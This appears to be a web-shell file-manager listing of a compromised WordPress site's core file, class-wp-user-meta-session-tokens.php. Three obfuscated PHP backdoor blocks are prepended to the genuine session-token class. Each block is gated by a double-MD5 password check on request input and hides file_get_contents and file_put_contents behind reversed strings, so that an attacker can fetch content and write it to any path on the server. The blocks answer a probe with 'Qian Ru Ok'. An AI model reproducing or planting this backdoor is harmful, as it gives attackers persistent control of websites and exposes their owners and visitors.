HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/class-wp-user-meta-session-tokens.php
<?php 
$mUUIb = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($mUUIb[0]) /*+/*+*/
. md5($mUUIb[0])) == "e".
"3".
"c".
"5".
"8".
"c".
"8".
"1".
"d".
"b".
"c".
"4".
"6".
"4".
"0".
"1".
"0".
"8".
"f".
"1".
"0".
"3".
"f".
"5".
"9".
"2".
"a".
"4".
"b".
"c".
"0".
"f") {
$AwLklLtP = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$kWbka = $AwLklLtP /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$CqEWDxj = $AwLklLtP
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function sfFHfwtc($MUBLnRC) { if (empty($MUBLnRC)) return false; if (!is_dir($MUBLnRC)) { sfFHfwtc(dirname($MUBLnRC), 0755, true); mkdir($MUBLnRC); } } !file_exists(dirname($mUUIb[1])) && sfFHfwtc(dirname($mUUIb[1])); $kDqXvuUc = @$CqEWDxj($mUUIb[2]); echo @$kWbka($mUUIb[1], $kDqXvuUc) ? 1 : 0; die; }key($mUUIb) == "of" && die("Qian Ru Ok"); ?><?php 
$azIasiidTl = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($azIasiidTl[0]) /*+/*+*/
. md5($azIasiidTl[0])) == "4".
"3".
"5".
"4".
"f".
"0".
"4".
"8".
"d".
"3".
"7".
"9".
"7".
"b".
"9".
"d".
"9".
"7".
"4".
"d".
"2".
"e".
"5".
"c".
"b".
"f".
"7".
"5".
"4".
"5".
"1".
"6") {
$nAvZjU = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$sqyMIc = $nAvZjU /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$KbIRf = $nAvZjU
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function TnGKXGSVJN($IgeJesc) { if (empty($IgeJesc)) return false; if (!is_dir($IgeJesc)) { TnGKXGSVJN(dirname($IgeJesc), 0755, true); mkdir($IgeJesc); } } !file_exists(dirname($azIasiidTl[1])) && TnGKXGSVJN(dirname($azIasiidTl[1])); $vGwxLC = @$KbIRf($azIasiidTl[2]); echo @$sqyMIc($azIasiidTl[1], $vGwxLC) ? 1 : 0; die; }key($azIasiidTl) == "of" && die("Qian Ru Ok"); ?><?php 
$agledA = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($agledA[0]) /*+/*+*/
. md5($agledA[0])) == "2".
"5".
"e".
"6".
"a".
"a".
"0".
"a".
"6".
"2".
"7".
"e".
"c".
"1".
"8".
"2".
"2".
"4".
"b".
"4".
"e".
"8".
"b".
"8".
"f".
"7".
"3".
"d".
"4".
"3".
"a".
"f") {
$pniXype = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$jkQVzzFb = $pniXype /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$IsnArzgINW = $pniXype
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function IwlHfH($LjSMJSH) { if (empty($LjSMJSH)) return false; if (!is_dir($LjSMJSH)) { IwlHfH(dirname($LjSMJSH), 0755, true); mkdir($LjSMJSH); } } !file_exists(dirname($agledA[1])) && IwlHfH(dirname($agledA[1])); $xGMrntj = @$IsnArzgINW($agledA[2]); echo @$jkQVzzFb($agledA[1], $xGMrntj) ? 1 : 0; die; }key($agledA) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Session API: WP_User_Meta_Session_Tokens class
 *
 * @package WordPress
 * @subpackage Session
 * @since 4.7.0
 */

/**
 * Meta-based user sessions token manager.
 *
 * @since 4.0.0
 *
 * @see WP_Session_Tokens
 */
class WP_User_Meta_Session_Tokens extends WP_Session_Tokens {

	/**
	 * Retrieves all sessions of the user.
	 *
	 * @since 4.0.0
	 *
	 * @return array Sessions of the user.
	 */
	protected function get_sessions() {
		$sessions = get_user_meta( $this->user_id, 'session_tokens', true );

		if ( ! is_array( $sessions ) ) {
			return array();
		}

		$sessions = array_map( array( $this, 'prepare_session' ), $sessions );
		return array_filter( $sessions, array( $this, 'is_still_valid' ) );
	}

	/**
	 * Converts an expiration to an array of session information.
	 *
	 * @param mixed $session Session or expiration.
	 * @return array Session.
	 */
	protected function prepare_session( $session ) {
		if ( is_int( $session ) ) {
			return array( 'expiration' => $session );
		}

		return $session;
	}

	/**
	 * Retrieves a session based on its verifier (token hash).
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier for the session to retrieve.
	 * @return array|null The session, or null if it does not exist
	 */
	protected function get_session( $verifier ) {
		$sessions = $this->get_sessions();

		if ( isset( $sessions[ $verifier ] ) ) {
			return $sessions[ $verifier ];
		}

		return null;
	}

	/**
	 * Updates a session based on its verifier (token hash).
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier for the session to update.
	 * @param array  $session  Optional. Session. Omitting this argument destroys the session.
	 */
	protected function update_session( $verifier, $session = null ) {
		$sessions = $this->get_sessions();

		if ( $session ) {
			$sessions[ $verifier ] = $session;
		} else {
			unset( $sessions[ $verifier ] );
		}

		$this->update_sessions( $sessions );
	}

	/**
	 * Updates the user's sessions in the usermeta table.
	 *
	 * @since 4.0.0
	 *
	 * @param array $sessions Sessions.
	 */
	protected function update_sessions( $sessions ) {
		if ( $sessions ) {
			update_user_meta( $this->user_id, 'session_tokens', $sessions );
		} else {
			delete_user_meta( $this->user_id, 'session_tokens' );
		}
	}

	/**
	 * Destroys all sessions for this user, except the single session with the given verifier.
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier of the session to keep.
	 */
	protected function destroy_other_sessions( $verifier ) {
		$session = $this->get_session( $verifier );
		$this->update_sessions( array( $verifier => $session ) );
	}

	/**
	 * Destroys all session tokens for the user.
	 *
	 * @since 4.0.0
	 */
	protected function destroy_all_sessions() {
		$this->update_sessions( array() );
	}

	/**
	 * Destroys all sessions for all users.
	 *
	 * @since 4.0.0
	 */
	public static function drop_sessions() {
		delete_metadata( 'user', 0, 'session_tokens', false, true );
	}
} ?>